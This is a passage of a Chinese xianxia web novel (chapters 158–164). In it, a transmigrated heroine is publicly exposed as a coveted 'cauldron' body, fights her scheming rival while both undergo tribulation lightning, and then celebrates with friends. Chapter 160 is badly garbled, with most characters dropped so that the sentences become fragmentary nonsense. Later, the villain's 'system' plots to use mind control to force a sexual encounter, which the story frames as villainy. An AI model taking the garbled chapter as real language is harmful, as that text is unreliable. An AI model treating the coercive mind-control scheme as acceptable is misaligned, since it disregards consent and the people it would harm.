之前引着兽潮去攻击人家,还好意思跳出来嘚吧嘚吧! 脸一点都不要吗! 就连妖域小队也死咬着他们不放! 他很有必要怀疑,林轻染真的偷了狼太灰的鼎! 林轻染咬了咬牙,视若无睹,快步上前,根本不给他和苏清流反驳的机会,忽然扬声。 “不知江师妹可愿与我一战!” 正叽叽喳喳的两支小队刹那间安静如鸡。 两双目光交汇,周围的声音逐渐消失,只剩一片诡异的死寂,整个世界仿佛在这一刻静止。 江献晚推开蹲在她面前,握着她肩拼命摇晃的水涟,缓缓起身。 “好啊。” 她也想看看,拥有光环的大女主,还有多少未知的底牌。 在系统这个逆天的挂逼下,又有多抗揍。 苏清流眉眼闪动了一下,没有阻止,退步腾出空地,屈身坐到了芭蕉叶上,默默掏出一把瓜子。 裴长安连连深吸几口气,所剩无几的风度险些不能维持。 他眼中满是失望,还有自己未曾发觉的厌恶。 勉强摁下将她揍成猪头的心思,沉着脸退后。 她既然想找死,他又何必拦着。 是死还是半死,活该她消瘦。 最好江师妹能往死里暴揍她一顿,将她的狗脑袋打清醒一点! 林轻染目的达到,心情显然不错。 她看着江献晚面颊淡成浅粉色的痕迹,唇角微微一勾,似乎并不着急出手。 倒是拉起了家常。 “江师妹似乎比我小一岁,虽堪及桃李年华,却能有此作为。” 她故意停顿,意味不明,轻笑着直直撞上江献晚的视线。 江献晚双眸沉静,瞳孔折射出淡淡的金色光泽,有风过时,眸光清透如水,似有涟漪层层抹开。 林轻染忽然说起这个,想做什么? 知晓了她的琉璃玉骨? 想当着两境三域的面,揭开她的炉鼎体质? 听谁说的,还用猜吗? 除了系统,还能有谁。 江献晚倒没有怀疑雾渺的念头。 雾渺虽干了缺德事,哪怕再宠爱林轻染,单是有帝隐在,也绝不会,更不敢将有关她的任何事说给旁人听。 意识到什么,三个青衣少年无声屈拢了十指,眸光渐寒,已生愠色。 林轻染像是没察觉。 缓步悠然,停在江献晚面前,嘴角上扬,做足了亲昵姿态,依旧笑的无辜。 漫不经心的语气,似乎只是充满了好奇和羡慕。 下一瞬,甩出一张自以为是的王炸。 “江师妹天资极好,琉璃玉骨,变异冰灵根,如此得天独厚,想来化神指日可待?” 霎时,周边阴涩的细风也止了。 何未语他们交头吐槽的低声陡然一静,嘻嘻哈哈的模样倏地散去,周身发生了翻天覆地的变化。 无一例外,手指皆无声扣上自己的法器,阴沉着脸从芭蕉叶上起身。 正为一把花生内讧的界域小队,齐齐扭过头,用一种‘这人脑子有病’的眼神,朝林轻染看去。 江献晚玉骨玉足关她娘的屁事。 咋滴,她想啃一口啊! 人族解说员不经意的重复林轻染的话,说到最后,瞳孔剧烈缩了一下。 “琉璃玉骨……变异冰灵根。” 他神色倏尔一变,脱口而出,“绝世炉鼎!” 四周皆静,而后,压低的声浪顷刻间如水落油锅。 “绝世炉鼎!千载难逢!” “难怪她把脸画成那副样子!” “江献晚竟生了一副琉璃玉骨么!” 角落里满脸皱纹的散修眼窝深陷,浑浊的眼睛如同嗜血的野兽,声音粗哑,带着忽而狂喜的扭曲、狠厉。 “若是有绝世炉鼎,便可以轻易突破化神,我就不用死了!” “绝世,竟是绝世炉鼎,与之双修,我体内的噬魂之毒,便可迎刃而解!” 炉鼎乃绝佳容器,采撷炉鼎,将对方修为吸取,作为自身补给,只一步,便可突破瓶颈! 自然,也可以不用吸收对方修为,只是,效果大打折扣,更没人会好心的将炉鼎当成人看,与其阴阳调和。 雾渺面色突兀一变,双唇紧绷,瞳色瞬间冷了下去,扶手在掌心中寸寸碎作齑粉。 他从未与任何人说过关于江献晚的只字片语! 寻找江献晚,也只是将江早早三字下达仙门百家。 他的徒儿,为何知晓! 又从何知晓! 当着两境三域的面将江献晚的体质捅出来,其心……狠毒。 饶是涵养极好的南境第一大宗掌门,一怒之下捏碎了手中茶盏,“放肆!” 徐燕洲面色寒冷而肃杀,阴沉的可怕,阔袖一甩,将碎片挥落,迸溅于地,冷冷乜向雾渺,“万古宗这是要与我太虚宗开战?” 第 159 章 跳的欢 他从来没认为江献晚曾经真的是替万古宗养过什么劳什子灵兽! 若是琉璃玉骨,一切便有了解释。 雾渺竟如此欺辱江献晚,逼迫一个无枝可依的少女。 所以,江献晚才会那么喜欢钱。 铁长老联想到什么,周身气压低至冰点,轰然起身,一股无法遏制的怒火,竟似生出锋利杀机,“雾渺!你他娘当我太虚宗无人么!!” 天青宗和道明宗阴沉的目光直逼而出,无不是讽刺。 “如此心性,也配为亲传?雾掌门今日,倒是让我等开了眼!” “此人与那些心术不正的邪修又有何区别?” “还望雾掌门给我南境一个交待!” 气氛随着掷地有声的紧逼,剑拔弩张,北境高层脸色亦是称不上好看。 江献晚生了一副琉璃玉骨,是出乎意料。 但林轻染此举,太过卑劣。 雾渺腮边不易察觉动了一下,强忍立刻将林轻染提出来的冲动,从座位上起身。 素来泰山崩于前,面色不变的掌门,此刻添了几分狼狈。 喉咙里挤出一句干哑的话,“此事,我定会给徐掌门一个交待,给江献晚一个交待。” 给小师叔一个交待。 他已经伤了江献晚一次,却料不到因他的一次心软,再次间接性害了江献晚。 雾渺缓缓转身,怔忪的看向那高挑的背影,乌墨般的双眸直至湮灭。 风回雪在灵幕前站定。 他面无表情的望着看似楚楚可怜,实则心如蛇蝎的少女,眼尾沁出一抹病态的红痕。 林轻染! 帝隐两腮雪白如纸,眼底顷刻覆蔓一层黯淡的霜雪,蜷搁在膝头的手指用力收缩,终是一缕灵力丝线扯回了龙鲤。 非翎也不笑了,薄唇抿作一条直线,发丝无风而动,双目似淬了剧毒,掐住呲牙咧嘴,就要去吞人的黑蛟的七寸。 这时候出手,只会让江献晚陷入更糟糕的境地,背负莫须有的流言蜚语。 花不休与云为泽眸光双双陡然一沉,眼底酝酿着风雨欲来的戾气,手肘微抬,两道灵力搅碎漫天云雾。 没人注意到江行行小脸发白,带泪的眼中隐有金光一闪而逝,跌跌撞撞,一屁股坐在了玄龟上。 伴随着凄厉地惨叫,一片片血雾轰然爆开,宛如泼溅一扬又急又密的红色雨幕。 一时间,所有的低声都止了,人魔妖背部惊的出了一层冷汗。 抬眼看去,还未散尽的黏腻血雾,光是看着就让人不寒而栗。 凤仪剑尊不知何时来到云舟边缘,眉心一痕火流纹宛若诞生在九重地狱中萧森的火焰。 他一身青衣,身如松鹤,闲散的站在那里,唇角压出微绷的弧度,双眸一片凝霜。 “继续。” 众修纷纷低下目光。 扬面悄无声息陷入一片死寂。 凤仪剑尊! 玄古大陆,最强的存在! 亦是江献晚的师尊! 更何况,那云舟之上,还坐着南帝尊。 两尊出手相护,当着魔皇与妖域殿下的面,连妖魔一并抹杀,魂儿都没放过,意思不言而喻。 而另一边,裴长安神色猝然一变,反应过来,气的眼前沉甸甸的一团黑,握紧拳头,怒声吼道:“林轻染!你在胡说什么!” 林轻染被他近乎凶狠的反应吓到,又因系统陡然暴走的破口大骂声,面色白了些。 可开弓没有回头箭,再不除去江献晚,等她彻底成长起来,岂不是更难杀? 林轻染咬了一下牙根,极力忽视脑海中左一句蠢货,右一句废物的系统,像是忽然间回过神。 “不,不是的,师兄,我,我只是随口一说,我没多想。” 她手足无措,步履踉跄退了半步,惶恐不安地朝江献晚解释,“江师妹,我不是故意的,我只是羡慕你天资这般好,修炼起来比我们容易,没有想把你是炉鼎的事说出!” 这一句,直接将江献晚的体质坐实的彻彻底底,还带暗戳戳的说她靠着双修,靠着男人,才能有如此成就。 她顾盼含情的美眸急的泛红,眼眶噙着惹人怜惜的泪意,自责万分。 “我,我只是觉得与你亲切罢了。” 江献晚静眼旁观,反应很是风轻云淡,甚至像听到了什么有趣的笑话,唇角勾起一抹似笑非笑的玩味弧度。 林轻染以为这样便能让她陷入万劫不复吗? 未免太异想天开。 她早已不是曾经那个无半分修为傍身,一只鸡都能啄死的废物。 伤她八百,林轻染自损三千。 江献晚抬手拦下眼眦欲裂,双目充红,恨不得杀人的小伙伴们,悠然欺近。 “我知道你不是故意的。” 林轻染微怔,“江师妹,不怪我?” 江献晚似是有些费解,葱白的指尖轻轻挑起眼前少女光洁的下颌,细细打量那双眼睛里露出来的恨意。 看来看去许久,仿佛更多的只是好奇,叹息着总结出一句话,“小东西长得精致,跳的也挺欢。” “还有吗?” 就这点攻击力? 说真的,她对女主,表示很失望,也就是有系统和气运在身上,否则,八个都不够杀的。 倒是她身上的系统,藏的太深,有些棘手,她竟探查不出一二。 也是,连一眼便能瞧出林轻染体质的花不休,都未曾发觉任何异常之处。 江献晚还不能确定系统是否也如林轻染一般无脑,竟由着她做这些无用之功,上蹿下跳。 心中暗自思忖,在系统和气运双重保驾护航下,杀了林轻染的可能性。 江献晚动了杀心,却又难免生出些疑虑。 她来到这里,真的只是意外吗? 她与林轻染像是天生不合,尤其女主紧咬着她不放的态度。 莫非是系统察觉到了什么,林轻染才会一而再再而三的想要杀她? 若不是意外,将她劈到这个世界,是想要她做些什么? 江献晚此刻无比后悔,为何只潦草看了十几章,没摁着自己的脑袋将那本书看完,背下来! 林轻染:“……?” 呲牙咧嘴的小伙伴:“……?” 林轻染面色一僵,险些没维持住表面小白花的神态。 她指尖狠狠掐了掐掌心,泪眼婆娑,楚楚动人,“江……” 第 160 章 天阴圣体 兴趣搭台唱戏。 ,否趁试试系统。 林染苍纤颈衣领缘探,红眶,措摇,泪珠坠坠。 副柔脆弱,惹怜惜模。 “江妹,故。” 江献晚微微偏,若似纯净浅,林染,陡攻击暴涨,狱深渊爬浓滟厉鬼。 林染浑瞬寒,瑟缩。 瞬,仿佛江献晚。 江献晚尾垂,甚惋惜。 藏毒,怜恨。 猛松,慢掏块帕,垂眸擦拭指尖,半晌,语奈,“,林论。” “。”转,帕踏脏污湿土,半,漫,林染遭雷击。 “阴圣,品灵根。” “林千载逢炉鼎,羡慕,约必。” 林染突颤,完伪装责僵庞,血寸寸褪尽。 …… 江献晚怎炉鼎! ……尊跟? 系统哆嗦,破骂,“跟暂惹惹!蠢货!蠢货!” 兽潮,江献晚皆毫损,完确,故疑,且飞升绊脚石。 务急,功取厄弓,掌控域,吸收仰! 江献晚,,! 瞎,挑林染废! 林染呼吸急促,似飘飘诚恳句,扎扎戳穴,竟悔。 ,脚步虚浮,仓皇踉跄退步。 系统骂,双渐渐汲层薄红,苍唇番蠕。 绞双似乎早透切,仿佛欣赏跳梁丑,粒肮脏灰尘睛。 。 雾渺。 破质。 江献晚,! 脑俨乱团,强扯根线迫冷静。 算炉鼎抖,乃古宗雾渺传,谁敢! 江献晚易捕捉慌乱,顿趣。 倒奇,。 指尖弹衣袖沾染草屑,贴提醒,“林?” “。” 林染双眸沁微红,脸红印压滟,复镇,猛朝愤怒咆哮系统嘶吼反击,“闭嘴!否则强识剥离!咱俩谁!” 系统忽止,连连吸。 片刻,压怒,冷:“!找,!” 左右助林染化,劫雷跟江献晚穿裤,违抗旨。 苦,猪脑! 林染蠢货!蠢货!!! 底替擦屁股! 剑随铮鞘。 林染瞬底,冷冷勾唇,“,试试,琉璃玉骨,异灵根,传般绝双!” 随落,异忽。 劫云翻涌墨沸腾,形威云端倾泄,! 雷云突,灵幕掀阵低哗。 “……化劫雷?” “林染突破?” “愧阴圣!突破突破!” “算抵抗雷劫,败江献晚吗!” “,依,故挑突破,引劫雷劈江献晚,啊!谓,北境宗传弟吗?” “干?牲吧!” 雾渺脸形容,指节咯吱咯吱,似憋股强压制暴虐杀。 狼灰跳凶,推药狼妖,破骂,“娘!北境群孙!” “贱!刚暗讽,坑,倒玩,呸!脸!” 朝魔妖怒:“爷警!谁娘敢朋歪思,泼朋脏,率妖域,弄!” 狼王:“……”傻,非搞爹吧? 咱篡! 观众:“……”谁泼? 泼啊。 抵偷偷馋啊! 江献晚画副鬼,靠啊! 且南北境层,秘境,域队林染突骚操整语。 。 贱纯恨啊? ,贱,挺稀罕。 域队岂容贱,考虑顿,裴角突跳,压底恶,步跨,巴掌甩脸,“林染!娘非病!” 故,压境节骨突破? 反观唇角隐隐抹狰狞,狠狠拭唇角血迹,反推,裴脊背蹿股凉。 林染,故! 怪指姓非江献晚。 挑破镜,杀江献晚! 裴,林染哪敌。 沉闷雷隆隆滚际,闪挡江献晚,碎片塞,呼吸粗急促,速:“江妹,,脑病,拿碎片!” 顿顿,“,待,江妹交待!” 林染,! 暗暗誓:待狗脑猪脑! 江献晚,古怪。 第 161 章 一起破个境 林轻染该不会以为,凭借着化神期劫雷,就能劈死她吧? 依她所看,林轻染的性子,系统定少不了责任,就这种邪祟一般的玩意儿,应该最惧怕劫雷才是。 苏清流神色亦是有几分古怪,同白子夜和林玉锦相视一眼,冷厌的表情中逐渐爬出一丝丝迫不及待的兴奋。 没见过上赶着找死的人,多少有点离了个大谱。 不理解,但尊重。 小师妹的境界……压的应该快爆了吧。 杀异兽的时候,几次都有些控制不住自己的力量,出手太重,还很血腥。 两个一起破境,那才叫有意思。 反正小师妹跑的贼快,打人还疼。 缠在江献晚腕间的小紫迷茫一瞬,迟钝了两秒,难得沉默。 这女的,不知道它跟江献晚穿一条裤子的么? 放句狠话,就破境了? 小紫瞬间支棱了起来。 冲业绩了! 大大的业绩! 狂戳江献晚:虎娘们,要不,你也渡一个? 虽然它没办法放水,可抵不住江献晚跟个猴似的,跑的快,还不干人事! 江献晚早就该破境了,无情地拒绝它好几次想劈人玩的要求,压着不肯破。 迷音忽然鼓起腮帮子,用力呸出一大口花生皮,差点吐林轻染脸上,“她比劳资还不要脸。” 月离点点头,“这次我不跟你抬杠,劳资也觉得她很贱。” 水涟手指一晃,认真道:“不,劳资觉得,她比你俩加起来都贱!” 何未语望着黑压压的劫云,手指扣于剑鞘,冷声道:“咱们南境的弟子今日可都看清了,记住她这张脸,以后见一次,我们就打一次!” “收到!弄死她!” 长剑法器战意强盛,映着一张张年轻的面庞。 南境三宗亲传皆朝着林轻染露出一个充满恶意的大大笑容。 林轻染:“……?”有病吧,关他们什么事! 少女精巧的面容,扭曲了一下,忽略道道鄙夷的目光,扬声讽刺。 “江师妹,现在,你还敢应吗?” 她勾唇蔑笑着,故意拖长了嗓音。 “若是不敢,大可以拿了我寻来的碎片,结束大赛。” 江献晚若是接了裴长安手里的碎片,灰溜溜离开,脸定然丢尽两境三域。 说真的,她挺希望江献晚留下来。 只要能平安破境,并将其重创,系统定然自会想办法除去江献晚! 江献晚立在翻涌的墨云之下,唇角一侧轻勾。 “林道友把脸送上,岂有不打的道理。” 上次春潮期吸收了太多灵力,这些灵力被强势压缩在丹田内,早已压制的艰难。 今日确实是个少有的黄道吉日。 破个境,也行。 两个边打边破境,那才有趣不是。 一股强大的灵力自江献晚体内轰然荡开,如巨山倾轧,连尘埃都被死死按在地表。 何未语等人被那股力量冲的连连后退,眸光却是火热的发亮。 江师妹的化神劫雷! 与此同时,缠在江献晚腕间的紫色劫雷化作一条威严无边的紫色巨龙,裹挟着天道审判之力,轰然腾至上空,分做两道。 林轻染瞳仁骤缩,忍不住后退之时,一种慌张而又嫉妒的心情再次充塞整个胸口。 江献晚竟然也要突破了! “卧槽!江献晚也要突破了!” “啊啊啊啊啊啊!这他妈是喝水吗?说突破就突破了?” “好爽!江献晚的那道劫雷又粗又大!一看就比林轻染牛逼!” “边破境边打架,没见过,想看!” 扬外观众短暂忘记什么琉璃玉骨,天阴圣体,灵魂舒爽,都在期待。 南境和界域两支小队这会儿皆是一脸满意之色,连连后退,远离劫雷锁定区域,以防被纳入范围。 甚至安安心心盘腿坐回了芭蕉叶上,兴冲冲嗑起了花生瓜子。 瞅瞅那粗壮的劫雷,比林轻染的那道,至少胖上三圈。 他们相信,江献晚揍人的能力,一定跟她打麻将的技术一样牛逼! 江献晚自然不会叫他们失望,她青衣墨发,银色光芒泼洒间,指尖星轮幽幽转动。 再刺激女主一波。 “来,一起渡个劫。” 林轻染嫉妒地望着江献晚明显比她更恐怖的劫雷,不甘充斥整个胸膛。 明明她才是这个世界的女主! 凭什么江献晚的劫雷比她的劫雷都要厉害! 江献晚若是能听到她的心声,高低得整两句: 你特么还有受虐倾向? 劫雷也要比? 林轻染自然听不到,更是无半分退路。 强装镇定,想要反讽几句,一道看似轻和,实则暗含恐怖力量的剑意直裂而来! 不可能! 怎么可能! 江献晚只是个元婴,她的剑意怎么可能这般恐怖! 那剑意带着无尽死气,似收割过无数条鲜活生命,死亡之下却又仿佛生出丝丝缕缕的生机。 林轻染来不及思索,硬着头皮,提剑迎上! 轰—— 剑意相碰的一瞬间,如玉山之将崩,粗暴的摧毁纤薄希望,两道劫雷同时撕裂长空,公平公正公开的朝着一青一白两道身影精准落下。 林轻染那道劫雷看似不如江献晚,其威力,更为恐怖、漠视,像是要抹杀什么邪祟一般。 一个黑心黑肝的气运之女。 一个冷血无情的天道逆子。 两个都不是省油的灯,劈就完了! 就算没有天道旨意,小紫其实也很想抓住这个不可多得的机会,小小撒个气。 暂且不说那个性子歪到八里地的气运之女。 江献晚妥妥的活阎王,曾经没少把它团成麻线,手搓天雷。 它抓住机会,劈她两下……也……没毛病吧? 一招未尽,林轻染丢尽颜面。 多撑一秒,都是江献晚对对手的不尊重。 林轻染虽有排名前十的碧水剑,身负系统,系统却唯恐被天道之眼发现,死命靠着她的身体和那些仙力遮掩。 剑意堪堪暴涨之际,林轻染轰然倒身翻飞,惊艳的一剑只来得及挥出一半,被江献晚轻轻松松递出的一剑劈的滚出十几米。 她以剑撑地,强行忍受落在身上的劫雷,慌忙掏出一件护体法器。 劫雷不会管这些,巴不得劈死她,劈江献晚的同时,蓄足了力,轰地一声直奔林轻染神识所在。 江献晚青衣翻飞,疾身爆退,成功躲开第一道劫雷,并将手中星轮丢了出去,急吼吼呼唤,“淬老婆了我亲爱的小伙伴!” 苏清流三人反应最快,抛剑的抛剑,扔笔的扔笔,砸的那叫一个又快又精准。 第 162 章 请客 淬炼法器,聆听天道旨意,正气浩荡的劫雷,绝对算是一个不可多得的绝佳外挂! 不淬一个,简直说不过去! 还不用花钱。 “加油!劈的再大点!” “小紫!你是不是不行!” “小紫!你能不能瞄准一点!” “小紫!我老婆一定要多劈两下!” “小紫!看剑!” “小紫——!” 小紫:“……”别紫了,它都要气紫了好吧。 它虽然不是人,但他们显然更不是人。 界域小队看眼前一亮,刻在骨子里的基因瞬间动了。 有意思。 淬一个。 有便宜不占是傻蛋。 一时间,纷纷掏出各自的法器,高高兴兴全向小紫铺天盖地砸了过去。 “帮我也淬一个!” “我要淬两个!” “我淬三个!” “凭什么!那我淬一百个!” 林玉锦:“醒醒!你没有一百个!” “哦,忘了,那抠门长老给劳资的法器都扣下了。” 小紫:“……”老紫把你们也淬了! 小紫沉默的瞅着那一片横七竖八,浮在半空中,快乐抖动,充满期待,等着雷劈的各种法器。 结果就是…… 一边癫狂的噼里啪啦狂劈林轻染,一边迫不得已疯狂给各位小伙伴淬炼法器。 而江献晚再次翻腕取出一把破烂剑,全部的精神力都集中在一边躲劫雷,一边尝试杀女主。 她倒不在乎别人说她心狠手辣,不给林轻染留活路。 她算是看出来了,这个世界,大约,有女主没她,有她就没女主。 只能活一个。 留着林轻染蹦跶,便是给自己找不痛快。 如她料想。 系统果然惧怕劫雷,并未出手。 但,女主也不好杀。 林轻染不愧身负大气运,系统同样不可小觑。 竟能在长老眼皮子底下,携带如此多的稀罕法器。 一件又一件扔出,不要钱似的,刚好阻拦她的剑意,及时避开要害之处。 杀不死,根本杀不死,搞的她自己跟个跳梁小丑似的。 江献晚虽不算太意外,眼角却隐有戾气浮出,心中生出两分难以言喻的烦躁。 没人懂此时此刻她有多想杀了女主,甚至……挫骨扬灰。 而这些杀意,一半来自于痕剑给她的感觉。 痕剑似乎比她更想杀了林轻染。 这种反应,催使她不由自主放弃了星轮,生出一个强烈的念头:将林轻染斩杀于痕剑之下。 她指尖摩挲剑柄,下意识安抚控制不住泄露出惊人杀意的剑灵。 剑灵还在沉睡,本就雪白的面颊,此刻白的近乎透明。 感受到传递来的暖意,剔薄的睫毛轻轻颤动了一下,重新安静下来。 江献晚漠然的望着狼狈不堪,一边仓皇逃窜躲避劫雷,一边各种不停狂丢法器的白衣少女,眼底一片冰冷之色。 这便是受天道眷顾的气运之女? 这天道,未免,有些瞎了眼。 看来,只能另寻他法。 又是一道剑意碎了直面而来的法宝,顺势将林轻染轰飞,江献晚退身躲开劫雷,将痕剑收入神识,继续以神识之力仔细温养。 小紫劈的太疯,气都不带喘的,一道未落,紧接着又是一道,完全不符合常理。 导致雷电之力急剧消磨,劫云也随之缓慢消散。 瘦成一条手指粗细的小紫,累的跟狗似的。 强撑着过度劳累的弱小身躯,在小伙伴们狂摆法器跟它告别,刚竖起的中指,转形成一行字:我回家充个电去! 失望!寒心! 它这么努力,吃奶的劲都使出来了。 天道逆子一下没劈到! 气运之女怎么都劈不死! 两个还特么一起破了个境。 而玄古大赛,在法器光芒万丈四射的庆祝中,至此告一段落。 裴长安冷着脸,拖着破破烂烂,睁着凌乱眸子,痛苦喘息的师妹,凶狠地撕碎传送符。 界域和南境两支小队并未立刻出去。 江献晚被月离他们吵的脑瓜子直嗡嗡,浑身骨头快要被摇散架。 迷音反手推开何未语,掰过江献晚的脑袋,“我不管!你现在就给我炒!现在!” 水涟不耐烦地张开翅膀,将修言他们呼啦啦扇开,“别他妈挤爹的翅膀!快点!炒花生!” “现在!就现在!吃饭那是出去的事!” 江献晚麻木着脸,硬生生连颠几锅花生,终于被心满意足的界域小队体贴放开。 只是,方一出虚古境,他们便察觉到了不对劲。 数道暗含着什么的目光一致落在江献晚身上。 江献晚自然明白,但无所谓。 拔腿撒丫子就跑,直奔徐燕洲和铁长老,试图以此赖掉请客的命运。 “掌门师……!” 几只手预判了她的想法,麻溜摁住她。 月离委屈怒吼:“你跑什么!说好请吃饭的!” “对!你别想跑!我会死死盯着你的!永远——!” “我们南境吃饭关你们界域什么事!” “要不要脸?” “怎么就不关我们事了!我不管!我就要吃江献晚的饭!” 江献晚被南境小队和界域小队扯来扯去,差点扯成人体碎片,还在做垂死挣扎,“凭什么破境就要请客!” 明明就想让她请客,还非聪明的找个理由! 苏清流白子夜和林玉锦衣裳发丝,挤的散乱,推搡中,还踩到了一片不知谁的毛。 狼太灰和白羽他们也跑了过来。 “她那么穷!到底是谁不要脸!你们松开她!” “她穷?那你请啊!” 狼太灰:“……我请就我请!那我也要去!” 被投喂花生的霓裳使劲一咬牙,“走!给老娘吃穷那个姐妹!” 于是乎,一脚踹开狼太灰,指着江献晚,激动大声道:“关你什么事!就她请!” “这又关你什么事!” 江献晚:“……我没答应请客!!!” 一群人妖魔直接将她架走。 “就你请客!” 眼看敌军太多,何未语干脆摆烂,“吃完,咱们搓两盘麻将吧?” “何为麻将?” “好吃吗?” 江献晚:“……” 四支小队根本没一个去瞅几个伸出尔康手的长老,在一众高层无语而凌乱的注视下,嗷嗷离去,只有北境小队站在原地,无人问津。 江献晚他们来到带有豪华温泉,当地最贵的酒楼,舒舒服服去温泉泡了个澡,换上干净衣衫,去了顶层豪华包厢。 狼太灰一看坐不下,三拳干塌三堵墙,“爽!” 第 163 章 你那个死爹呢 一堵墙……一千块中品灵石。 狼太灰看着一脸肉疼的江献晚,于心不忍,偷偷下楼提前结账,发现账已经不知被哪个大傻子给结过了,够他们狂欢潇洒几天。 开开心心,打算返回包厢。 有什么东西……却在此刻挡住了他的路。 低头一看,赫然是一只玄龟驮着一个小娃娃。 江行行怀里还揣了一条贼眉鼠眼的大胖鱼。 狼太灰顿时一个激灵,酒醒半分。 警惕地看了一眼周围,压低声音,恶狠狠道:“你那个死爹呢?” 江行行:“没死。” 狼太灰:“……” 那就很不对了,风回雪绝对不会让风行行离开他的视线,要么就是白羽跟着。 可白羽在包厢喝着呢! 狼太灰纠结地想了想。 死狐狸指不定在哪看着呢。 绕开江行行,不耐烦的摆手,“一边玩去。” 他没能走掉,江行行抓着他的大尾巴,“我也想去吃饭。” 狼太灰瞪着俩眼珠子,“我吃了你你信不信!” 江行行:“信。” 爹说大灰狼最喜欢吃小孩,尤其是他这样的小孩。 一口一个,一口一个。 狼太灰瞪了他足足八十秒,想拽回尾巴,又比不过江行行的手劲,一手拎龟,一手拎抱着鱼的江行行,骂骂咧咧踹开门,随便一丢。 而后气势汹汹打开最贵的灵酒,抓上白羽的衣领,面皮狰狞往他嘴里灌。 “死鸟!喝死你!” 打不死你,灌死你! 让你们一个个跟我作对,连一个凳子腿高的小崽子都敢摸他尾巴! 他还没风行行力气大! 气死个狼! 白羽翅膀上的毛掉了好几根,气的脸都红了。 当然,也可能是喝大了。 —— 海棠树下,月光透过层层花与叶,斑驳落在男子清冷的面颊。 花影在他脚下摇曳,长及足踝的银发,也似披上一层幽微的冷霜。 雾渺屈膝跪于冷硬地面,红艳夺目的海棠花擦着下颌,跌落袍身,如浓墨之上托起细碎的脂玉,又融入沉郁的夜色。 他眉宇沉沉压着,化不开,也拂不去,凝固成夜的一角,声音飘散般沙哑。 “是我管教不严,铸就大错,待回宗门,甘愿受百鞭之刑,再入血池。” 他眸光久久落在那片花瓣上,视线恍恍惚惚的扩散,提醒着某些被重重包裹的过往。 “从前之事……是我,是我欺瞒了小师叔……逼迫江献晚……” 雾渺阖了阖眼,喉中干涩,再吐露不出半字。 江献晚,一定厌恶极了他吧。 帝隐轻轻接住那片绯靡的海棠,描绘着浅淡的纹理,眼底似落满霜雪。 从前之事,他只责怨自己。 今日之事,他却无法再置之不理。 风回雪他们四个同样不会就此作罢,等他们出手,他才真的是罪无可恕。 帝隐轻舒一口气,将那片花瓣灌入一丝灵力,收在掌心,绷紧的神经末梢稍稍放松一些。 幸而他下云舟之时,将自己的态度向风回雪他们言明。 “此人心性不正。” “如有异常,更不可留。” 雾渺他是了解的,不会同旁人提及江献晚半个字。 万古宗,更不会有他人知晓。 他不知雾渺何时收的这么一个弟子,闭关之日,曾察觉到林轻染穿过巫山大阵,想来靠近他的巫云殿,皆被龙鲤一尾巴扇出几个山头。 如今闹出许多风波,次次关于江献晚。 他不能容忍。 一点不能。 雾渺垂首,复而又抬起,眼底深处的无声潮汐,难解难分,泄露出一丝深埋的裂口。 他怔忪的望着那缓坠的海棠花,指尖微动,似欲挽留,却终究任其飘零坠入尘土,沉沉压在心间。 不知过了多久,吐息细若游丝,归于沉寂。 “是,我定会彻查此事。” 江献晚的体质,连裴长安都不知,林轻染是如何得知。 大赛时的兽潮,次次来的蹊跷,且似乎与林轻染有莫大关系。 只怕暗处有见不得光的东西从中作怪。 林轻染,是他犯下的第二个错。 他所行错事,皆该由他结束。 从前,方今,给江献晚一个交待。 雾渺从未有过这般迷惘的疲倦。 脚步虚浮,深色的袍角几乎溶于树根处的阴影,目光不由自主飘向不远处那家灯火通明的酒楼。 “江献晚……” “江早早……” 他吐出几个模糊而苦涩的气音,指尖轻抚过随身携带已久,绣着海棠花纹的芥子囊。 “若是……” 可,世间又哪来那么多若是。 雾渺猛然转身,飞身落于云舟之上,准备亲自将林轻染押回宗门,细细查验过神识,再做料理。 转脚房间传来细碎哭声和惹人怜惜的哽咽,抬步欲走,声声惹人怜惜的‘师尊’却跌入耳畔。 雾渺脚步一缓,整个人似一尊沉入水底的玉雕,毫不犹豫挥袖再加一层结界。 听着渐行渐远很快消失的脚步声,林轻染眼眶又是一红。 纤细的手指将被褥攥出深深褶痕,面庞滚落两行清泪,“为什么,为什么!” “我都这样了,他为什么不肯进来看看我!” 甚至,没人在乎她的伤,在乎她所受的屈辱,便将她禁足在这云舟之上,不管不问,任她自生自灭! 林轻染一双鹿般的春水杏眼爬满滔天的恨意,呼吸滚烫而急促。 方出虚古境,春潮期紧随其后,裴长安将她提来,便有长老留下一层不可撼动的结界。 若不是怕被看出端倪,她很想去问一问为什么。 在她最需要安慰,被春潮期和身上的痛意折磨的痛楚不堪,裴长安不在,雾渺也狠心的走了,身边更无任何一人,哪怕只是为她疗伤。 林轻染喘着气,再忍不住心底的委屈,崩溃哭喊出声,“十八位美人图鉴,现在呢!一个都没有!没有!” “全被江献晚抢去了!” “你要我如何度过春潮期!” “我师尊师兄也全不要我了!” 她脸庞浸了一层细汗,混着泪水和脏污的尘迹,淌过脖颈,留下狼狈的印痕。 伏在被褥上的身子细细轻颤,仿佛被烈火焚烧,终是止不住哭声哀求,“系统,你帮帮我,我错了,我以后都听你的。” “什么都听你的……求你,帮我……” 她口中翻来覆去,俨然因身上的伤痛和春潮期的难捱,不胜苦楚。 系统目的达到,假模假样漠视片刻,嗤声冷笑,“现在知道求我了?” 第 164 章 狂欢 林轻染喃喃道:“直接坐实?” 系统:“我可以耗费能量之力控制对方神识,就算清醒后,也只当是一时意乱情迷。” “花不休他们几个,气运太强,恐生变故。” “不过,若是苏清流他们,我有十足把握可以做到神不知鬼不觉。” 林轻染想到一张美的浑不似真人的面庞,下意识道:“花不休他们几个真的不行吗?” 系统声音一止,险些又要暴走,“闭嘴!” “还有,你知不知道雾渺已经对你起了杀心!此时押你回宗,你以为他想做什么?” “给你颁奖么!” “现在你该做的是如何在雾渺手中保住你自己的命!让他不得不庇护于你!” “待我们取了厄弓,登上界皇之位,你还怕会得不到这些气运之子吗!” 都怪林轻染擅作主张,否则,厄弓现在已经到手了! 哪里还用得着万古宗庇护! 林轻染虽有气运护体,却也经不起一再消磨。 这也会对它造成影响! 她若玩完,它亦难逃一劫。 况且,天道……或许,已经发现了它的存在! 林轻染双手发颤,强撑着支起半边身子,薄衫滑落肩头,轻轻吐出两个字。 “雾渺。” 她绝不能落个被所有人背弃的下扬。 绝不能! 系统松了一口气:“很好。” —— 月影无声,移过中天。 热闹至夜深,迟迟等不到自家崽子的家长在半路碰到,摸到酒楼。 麻木的相视一眼,再僵着脖子,缓缓扭过头,定睛重看。 三间奢华而宽敞的包厢被粗暴打通,摆了好几桌,几乎连下脚的地方都没有。 人魔妖各个脸红的跟个猴屁股似的,各种声音噼里啪啦,群情鼎沸,扬面那叫一个疯魔万状。 